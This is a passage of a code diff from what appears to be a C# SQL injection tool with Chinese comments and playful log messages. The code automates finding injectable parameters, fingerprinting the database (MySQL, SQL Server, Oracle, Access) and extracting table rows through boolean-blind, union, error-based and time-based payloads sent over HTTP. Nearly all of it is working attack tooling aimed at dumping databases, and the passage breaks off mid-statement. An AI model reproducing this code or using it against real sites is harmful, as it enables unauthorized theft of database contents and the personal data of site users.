{ + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String hex_data_payload = Oracle.hex_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String hex_data_len_payload = Oracle.bool_length.Replace("{data}", hex_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(hex_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder hexs = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = Oracle.bool_value.Replace("{data}", hex_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int ascii = getValue(substr_payload, 0, 255); + hexs.Append((char)ascii); + m_index++; + } + value += Tools.hexToRaw(hexs.ToString(), config.db_encoding); + + } + if (lvi == null) + { + lvi = new ListViewItem(value); + } + else + { + lvi.SubItems.Add(value); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取数据,union方式 + /// + /// 列名集合List及limit等参数 + public void getDataValueByUnionByMySQL(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + String datas_value_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", gp.columns, gp.table, gp.dbname, gp.limit); + String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", datas_value_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,获取到第" + (gp.limit + 1) + "行数据"); + String[] datas = Regex.Split(result, "\\$\\$\\$"); + addItemToListView(datas); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + /// + /// 获取数据,union方式 + /// + /// 列名集合List及limit等参数 + public void getDataValueByUnionBySQLServer(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, gp.dbname, gp.table, gp.columns, gp.limit)); + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取数据,union方式 + /// + /// 列名集合List及limit等参数 + public void getDataValueByUnionByAccess(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(Access.getUnionDataValue(config.columnsCount, config.showColumn, gp.columns, gp.table, gp.limit.ToString()).Replace("{table}", this.curren_table)); + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取数据,union方式 + /// + /// 列名集合List及limit等参数 + public void getDataValueByUnionByOracle(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, gp.columns, gp.dbname, gp.table, gp.limit.ToString())); + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + public void addItemToListView(String[] columnsValue) + { + + ListViewItem lvi = null; + foreach (String d in columnsValue) + { + if (lvi == null) + { + lvi = new ListViewItem(d); + } + else + { + lvi.SubItems.Add(d); + } + } + if (lvi != null) + { + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + } + } + + /// + /// 获取数据MySQL,error方式,这个长度有限,需要判断是否大于错误消息的长度限制是64个 + /// + /// 列名集合List及limit等参数 + public void getDataValueByErrorByMySQL(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + foreach (String column in gp.columns) + { + //获取数据长度 + + String datas_payload_columns = MySQL5.creatMySQLColumnStr(column); + String datas_payload_length = MySQL5.char_length.Replace("{data}", "(select " + datas_payload_columns + " from " + gp.dbname + "." + gp.table + " limit " + gp.limit + ",1)"); + + String d_l_e = MySQL5.creatMySQLColumnStr("(" + datas_payload_length + ")"); + String datas_payload_length_error = MySQL5.error_value.Replace("{data}", d_l_e); + + String result_length = getOneDataByUnionOrError(datas_payload_length_error); + + int sumlen = Tools.convertToInt(result_length); + String datas_value_payload = "(select " + MySQL5.creatMySQLColumnsStrByError(column, gp.table, gp.dbname, gp.limit) + ")"; + String result = ""; + int start = 1; + //每次获取长度,err方式有长度限制 + int count = 64 - 6; + this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + while (start < sumlen) + { + //hex编码,防止中文等乱码 + String datas_value_column = MySQL5.substr_value.Replace("{data}", datas_value_payload).Replace("{start}", start.ToString()).Replace("{len}", count.ToString()); + String c_datas_value_payload = MySQL5.error_value.Replace("{data}", datas_value_column); + result += getOneDataByUnionOrError(c_datas_value_payload); + start += count; + } + if (lvi == null) + { + lvi = new ListViewItem(result); + } + else + { + lvi.SubItems.Add(result); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + + } + + /// + /// 获取数据SQLServer,error方式,这个长度有限,需要判断是否大于错误消息的长度限制是64个 + /// + /// 列名集合List及limit等参数 + public void getDataValueByErrorBySQLServer(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(MSSQL.getErrorDataValue(gp.dbname, gp.table, gp.limit, gp.columns)); + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + + } + + /// + /// 获取数据oracle,error方式,这个长度有限,需要判断是否大于错误消息的长度限制是256个 + /// + /// 列名集合List及limit等参数 + public void getDataValueByErrorByOracle(Object opam) + { + try + { + GetDataPam gp = (GetDataPam)opam; + ListViewItem lvi = new ListViewItem(); + String datas_len_payload = Oracle.getErrorDataLen(gp.columns, gp.dbname, gp.table, gp.limit.ToString()); + String result_length = getOneHexDataByUnionOrError(Oracle.error_value.Replace("{data}", datas_len_payload)); + + int sumlen = Tools.convertToInt(result_length); + String result = ""; + int start = 1; + //每次获取长度,err方式有长度限制 + int count = 205; + if (count < 1) + { + + this.Invoke(new StringDelegate(log), "报告大侠,选择的列太多了,无法获取数据!"); + return; + } + this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "个hex字符!"); + while (start < sumlen) + { + //hex编码,防止中文等乱码 + String tmp_data_payload = Oracle.getDataValue(gp.columns, gp.dbname, gp.table, gp.limit.ToString()); + String err_tmp_data_payload = Oracle.substr_error_value.Replace("{data}", tmp_data_payload).Replace("{start}", start.ToString()).Replace("{len}", count.ToString()); + result += getOneHexNoUnHexDataByUnionOrError(err_tmp_data_payload); + start += count; + } + + result = Tools.unHex(result, config.db_encoding); + + this.Invoke(new addItemToListViewByColumnsDelegate(addItemToListViewByColumns), result); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + /* + try + { + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + foreach (String column in gp.columns) + { + //获取数据长度 + + String datas_payload_columns = Tools.creatMySQLColumnStr(column); + String datas_payload_length = MySQL5.char_length.Replace("{data}", "hex(" + datas_payload_columns) + ") from " + gp.dbname + "." + gp.table + " limit " + gp.limit + ",1"; + + String d_l_e = Tools.creatMySQLColumnStr("(" + datas_payload_length + ")"); + String datas_payload_length_error = MySQL5.error_value.Replace("{data}", d_l_e); + + String result_length = getOneDataByUnionOrError(datas_payload_length_error); + + int sumlen = Tools.convertToInt(result_length); + String datas_value_payload = "(select " + Tools.creatMySQLColumnsStrByError(column, gp.table, gp.dbname, gp.limit) + ")"; + String result = ""; + int start = 1; + //每次获取长度,err方式有长度限制 + int count = 64 - 6; + this.Invoke(new StringDelegate(log), "报告大侠,正在获取数据,每次请求将获取" + count + "字符!"); + while (start < sumlen) + { + //hex编码,防止中文等乱码 + String datas_value_column = Tools.creatMySQLColumnStr(MySQL5.substr_value.Replace("{data}", MySQL5.hex_value.Replace("{data}", datas_value_payload)).Replace("{start}", start.ToString()).Replace("{len}", count.ToString())); + String c_datas_value_payload = MySQL5.error_value.Replace("{data}", datas_value_column); + result += getOneDataByUnionOrError(c_datas_value_payload); + start += count; + } + //查找格式^^^col$$$col^^^ + result = Tools.unHex(result, config.db_encoding); + Match m = Regex.Match(result, "(?<=(\\^\\^\\!))[.\\s\\S]*?(?=(\\!\\^\\^))"); + if (m.Success) + { + result = m.Value; + } + + if (lvi == null) + { + lvi = new ListViewItem(result); + } + else + { + lvi.SubItems.Add(result); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + }*/ + + } + + + + public void getDatasByBool(DBType dbtype, List columns, int start, int dataCount) + { + bool isMax = false; + switch (dbtype) + { + + case DBType.Access: + isMax = findKeyInBody(Access.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), dataCount); + if (isMax) + { + //下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByBoolByAccess), gd); + } + } + else + { + + MessageBox.Show("没有这么多行数据,改小点,2B!"); + } + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + + if (config.keyType.Equals(KeyType.Time)) + { + isMax = findKeyInBody(MySQL5.getBoolCountBySleep(MySQL5.data_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), config.maxTime), (start + dataCount)); + } + else + { + isMax = findKeyInBody(MySQL5.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), (start + dataCount)); + } + + if (isMax) + { + for (int i = 0; i < dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByBoolByMySQL), gd); + } + } + else + { + + MessageBox.Show("没有这么多行数据,改小点,2B!"); + } + + break; + case DBType.SQLServer: + isMax = findKeyInBody(MSSQL.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), dataCount); + if (isMax) + { + //下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByBoolBySQLServer), gd); + } + } + else + { + MessageBox.Show("没有这么多行数据,改小点,2B!"); + } + + break; + case DBType.Oracle: + isMax = findKeyInBody(Oracle.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), dataCount); + if (isMax) + { + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByBoolByOracle), gd); + } + } + else + { + + MessageBox.Show("没有这么多行数据,改小点,2B!"); + } + break; + } + + } + + + public void getDatasByError(DBType dbtype, List columns, int start, int dataCount) + { + List data_list = new List(); + String datas_count_payload = ""; + String result = ""; + int datas_count = 0; + switch (dbtype) + { + + case DBType.Access: + MessageBox.Show(ErrorMessage.access_no_error_inject_info); + break; + case DBType.MySQL4: + MessageBox.Show(ErrorMessage.mysql4_no_error_inject_info); + break; + case DBType.MySQL5: + + data_list.Add(MySQL5.data_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table)); + datas_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", datas_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + + for (int i = 0; i < dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByErrorByMySQL), gd); + } + break; + case DBType.SQLServer: + result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.data_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table))); + //HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //注意下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + //按照一行的一列一列开始获取 + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByErrorBySQLServer), gd); + } + break; + case DBType.Oracle: + result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.union_data_count, this.curren_db, this.curren_table, "")); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //注意下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + //按照一行的一列一列开始获取 + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByErrorByOracle), gd); + } + break; + } + + } + + + public void getDatasByUnion(DBType dbtype, List columns, int start, int dataCount) + { + List data_list = new List(); + String datas_count_payload = ""; + String result = ""; + + int datas_count = 0; + switch (dbtype) + { + + case DBType.Access: + + datas_count_payload = Access.getUnionDataValue(config.columnsCount, config.showColumn, 1, Access.data_count.Replace("{table}", this.curren_table)).Replace("{table}", this.curren_table); + result = getOneDataByUnionOrError(datas_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByUnionByAccess), gd); + } + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + data_list.Add(MySQL5.data_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table)); + datas_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", datas_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + + for (int i = 0; i < dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByUnionByMySQL), gd); + } + break; + case DBType.SQLServer: + + datas_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.data_count, this.curren_db, this.curren_table, ""); + result = getOneDataByUnionOrError(datas_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByUnionBySQLServer), gd); + } + break; + case DBType.Oracle: + datas_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.union_data_count, this.curren_db, this.curren_table, ""); + result = getOneDataByUnionOrError(datas_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!"); + + datas_count = Tools.convertToInt(result); + this.dataCount = datas_count; + if (datas_count < (dataCount + start)) + { + this.Invoke(new StringDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!"); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //下标从1开始 + for (int i = 1; i <= dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + MyThreadPool.initThread(new ParameterizedThreadStart(getDataValueByUnionByOracle), gd); + } + break; + } + + } + + public void getData(Object ocolumns_list) + { + + int count = Tools.convertToInt(this.data_dbs_txt_count.Text); + int start = Tools.convertToInt(this.data_dbs_txt_start.Text); + if (count <= 0 || start < 0 || start + count <= 0) + { + MessageBox.Show("大哥,您在忽悠我吗,要获取多少行数据啊?"); + return; + } + //多线程 + List col_list = (List)ocolumns_list; + + if (col_list.Count > 0) + { + switch (config.injectType) + { + case InjectType.Bool: + getDatasByBool(config.dbType, col_list, start, count); + break; + + case InjectType.Union: + + getDatasByUnion(config.dbType, col_list, start, count); + break; + case InjectType.Error: + getDatasByError(config.dbType, col_list, start, count); + break; + case InjectType.Sleep: + getDatasByUnion(config.dbType, col_list, start, count); + break; + } + } + else + { + + MessageBox.Show("请在左边点击选择列!"); + } + } + + + private void log_lvw_httpLog_MouseClick(object sender, MouseEventArgs e) + { + if (this.log_lvw_httpLog.SelectedItems.Count > 0) + { + try + { + String tag = this.log_lvw_httpLog.SelectedItems[0].Tag.ToString(); + this.log_txt_request.Text = FileTool.readFileToString(Tools.httpLogPath + tag + "-request.txt"); + String response = FileTool.readFileToString(Tools.httpLogPath + tag + "-response.txt"); + if (!String.IsNullOrEmpty(response)) + { + int index = response.IndexOf("\r\n\r\n"); + + if (index != -1) + { + this.log_txt_response.Text = response; + this.webBro_log.ScriptErrorsSuppressed = true; + this.webBro_log.DocumentText = response.Substring(index, response.Length - index); + } + + + } + else + { + MessageBox.Show("没有读到详细HTTP日志,可能上一次清除记录时已清除!"); + } + } + catch (Exception ee) + { + Tools.SysLog("查看详细HTTP日志,发生异常----" + ee.Message); + } + } + } + + private void data_cms_clearLog_Click(object sender, EventArgs e) + { + Thread t = new Thread(Tools.delHTTPLog); + t.Start(); + this.log_lvw_httpLog.Items.Clear(); + + } + public int autoinject = 0; + public Thread injectThread = null; + private void btn_autoInject_Click(object sender, EventArgs e) + { + + if (autoinject == 0) + { + if (config.request.IndexOf("#inject#") != -1) + { + MessageBox.Show("已经标记好注入,无需识别!"); + return; + } + autoinject = 1; + injectThread = new Thread(inject); + injectThread.Name = "AutoCheckInjectThread-"; + injectThread.Start(); + this.btn_autoInject.Text = "停止"; + + } + else + { + if (injectThread != null) + { + injectThread.Abort(); + } + this.btn_autoInject.Text = "自动识别"; + autoinject = 0; + } + } + + public void inject() + { + try + { + selectInjectType(0); + selectDB("UnKnow"); + //判断提交数据内型 + String data = ""; + if (config.request.StartsWith("GET")) + { + int start = config.request.IndexOf('?'); + if (start == -1) + { + MessageBox.Show("没有发现参数!"); + return; + } + int end = config.request.IndexOf(' ', start); + if (end > start) + { + + data = config.request.Substring(start + 1, end - start - 1); + } + else + { + MessageBox.Show("无法获得GET请求的参数!"); + } + + } + else + { + //POST + data = Regex.Split(config.request, "\r\n\r\n")[1]; + + } + + String strparam = data.Replace("", "").Replace("", "").Replace("#inject#", ""); + + //获取原始的页面信息 + String request = config.request.Replace(data, strparam); + ServerInfo oserver = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, "获取原始页面", request, config.timeOut, HTTP.AutoGetEncoding, config.is_foward_302, config.redirectDoGet); + + + if (!HTTP.AutoGetEncoding.Equals(config.encoding)){ + //自定义 + if (!config.encoding.Equals(oserver.encoding)) + { + DialogResult dr = MessageBox.Show("自动识别发现网页编码为“" + oserver.encoding + ",而你选择的编码是“" + config.encoding + "””,是否采用自定义编码,不选择将自动识别!", "提示信息", MessageBoxButtons.YesNo); + if (DialogResult.No.Equals(dr)) + { + this.cbox_basic_encoding.Text = HTTP.AutoGetEncoding; + } + } + } + else { + //自动识别 + if (String.IsNullOrEmpty(oserver.encoding)) + { + DialogResult dr = MessageBox.Show("自动识别未发现网页编码,是否人工选择一个编码,不选择将默认采用" + HTTP.DefaultEncoding + "编码?", "提示信息", MessageBoxButtons.YesNo); + if (DialogResult.Yes.Equals(dr)) + { + this.btn_autoInject.Text = "自动识别"; + autoinject = 0; + return; + } + } + else { + MessageBox.Show("自动识别网页编码为:“"+oserver.encoding+"”"); + } + } + + + //拆分参数 + String[] strparams = strparam.Split('&'); + this.Invoke(new StringDelegate(log), "报告大侠,发现" + strparams.Length + "个参数,请稍候正在对每一个参数进行注入测试!"); + foreach (String param in strparams) + { + + String unionStartPayLoad = ""; + if (String.IsNullOrEmpty(param)) + { + continue; + } + this.Invoke(new StringDelegate(log), "报告大侠,正在对参数参数" + param + "进行盲注测试!"); + String newParam = "";//标记注入 + String payload_location = strparam.Replace(param, param + "#inject#"); + String payload_request = request.Replace(strparam, payload_location); + String currentDB = "UnKnow"; + //读取payload + List list = FileTool.readFileToList("config/injection/injection.txt"); + + //判断存在bool盲注 + bool boolInject = false; + bool errorInject = false; + bool unionInject = false; + + if (list != null && list.Count > 0) + { + foreach (String pal in list) + { + this.Invoke(new StringDelegate(log), "正在测试PayLoad:" + pal); + String[] pals = pal.Split(':'); + + ServerInfo falseServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[1], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + decimal pfalse = Tools.getLike(oserver.body, falseServer.body); + if (pfalse > 99) + { + continue; + } + ServerInfo trueServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + decimal ptrue = Tools.getLike(oserver.body, trueServer.body); + if (oserver.code != 404 && !InjectionTools.errer_code.Contains(oserver.code.ToString()) && !InjectionTools.errer_code.Contains(trueServer.code.ToString()) && !InjectionTools.errer_code.Contains(falseServer.code.ToString()) && trueServer.body.Length > 0 && falseServer.body.Length > 0) + { + + //判断存在bool盲注 + //根据状态码判断 + if (oserver.code == trueServer.code && trueServer.code != falseServer.code) + { + //选择盲注配置 + this.txt_inject_key.Text = oserver.code + ""; + this.cbox_inject_type.SelectedIndex = Convert.ToInt32(KeyType.Code); + this.chk_inject_reverseKey.Checked = false; + boolInject = true; + this.Invoke(new StringDelegate(log), "根据状态码判断存在SQL注入!"); + } + + if (falseServer.body.Length < trueServer.body.Length) + { + if (ptrue == 100) + { + + if (ptrue > pfalse) + { + //根据相似度判断 + this.Invoke(new StringDelegate(log), "根据相似度判断存在SQL注入!固定长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "%"); + boolInject = true; + //判断关键字 + checkTheKey(trueServer, falseServer, oserver); + } + } + else { + + ServerInfo true1Server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0].Replace("1%3d1", "2%3d2"), payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + decimal p = Tools.getLike(oserver.body, true1Server.body); + if (ptrue - pfalse >= 2 && Math.Abs(p - pfalse) >= 2) + { + //根据相似度判断 + this.Invoke(new StringDelegate(log), "根据相似度判断存在SQL注入!动态长度,相似度--false|true1|true2--" + pfalse + "|" + ptrue + "|" + p + "%"); + boolInject = true; + //判断关键字 + checkTheKey(trueServer, falseServer, oserver); + } + + + } + } + } + else + { + this.Invoke(new StringDelegate(log), "程序判断不存在SQL注入!"); + } + + if (boolInject) + { + + this.Invoke(new StringDelegate(log), "存在" + pals[2] + "payload:" + pals[0]); + selectInjectType(1); + //识别数据库 + List database_lsit = FileTool.readAllDic("config/database/"); + + foreach (String d in database_lsit) + { + if (!"UnKnow".Equals(currentDB)) + { + break; + } + String db = d.Replace(".txt", ""); + this.Invoke(new StringDelegate(log), "正在判断是否是" + db + "数据库"); + + List dbpayload_list = FileTool.readFileToList("config/database/" + d); + foreach (String cdpay in dbpayload_list) + { + ServerInfo dbServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[0].Replace("1=1", cdpay), payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + if (config.useCode && trueServer.code == dbServer.code) + { + this.Invoke(new StringDelegate(log), "程序判断数据库为" + db + "数据库"); + currentDB = db; + selectDB(currentDB); + break; + } + else if (dbServer.length >= oserver.length && dbServer.code == oserver.code) + { + //根据关键字判断 + if (dbServer.body.IndexOf(config.key) != -1) + { + this.Invoke(new StringDelegate(log), "程序判断数据库为" + db + "数据库"); + currentDB = db; + selectDB(currentDB); + break; + } + } + + } + } + //用于标记注入的新字符 + newParam = strparam.Replace(param, param + "" + pals[0].Replace(" and 1=1", "#inject#") + ""); + if (pals[0].StartsWith(" ")) + { + unionStartPayLoad = ""; + } + else + { + unionStartPayLoad = pals[0].Split(' ')[0]; + } + + if (!String.IsNullOrEmpty(currentDB)) + { + + selectDB(currentDB); + } + else + { + //通过错误显示判断 + ServerInfo errorDBServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, "'test", payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + String basePath = "config/injection/error/"; + List errorDBList = FileTool.readAllDic(basePath); + String cdb = ""; + foreach (String ep in errorDBList) + { + if (!String.IsNullOrEmpty(cdb)) break; + List errorKeys = FileTool.readFileToList(basePath + ep); + + foreach (String key in errorKeys) + { + + bool find = Regex.IsMatch(errorDBServer.body, key, RegexOptions.IgnoreCase); + if (find) + { + currentDB = ep.Replace(".txt", ""); + break; + } + } + + } + if (!String.IsNullOrEmpty(currentDB)) + { + selectDB(currentDB); + this.Invoke(new StringDelegate(log), "通过错误显示发现数据库为" + currentDB + "!"); + } + else + { + this.Invoke(new StringDelegate(log), "没有发现发现数据库类型,可能是其他数据库,请人工判断!"); + } + } + + break; + } + } + } + else + { + this.Invoke(new StringDelegate(log), "报告大侠,没有读取到config/injection/injection.txt注入测试payload!"); + } + + //错误注入测试 + this.Invoke(new StringDelegate(log), "报告大侠,盲注测试完成,正在进行错误显示注入测试!"); + + if (currentDB.Equals("Access")) + { + + this.Invoke(new 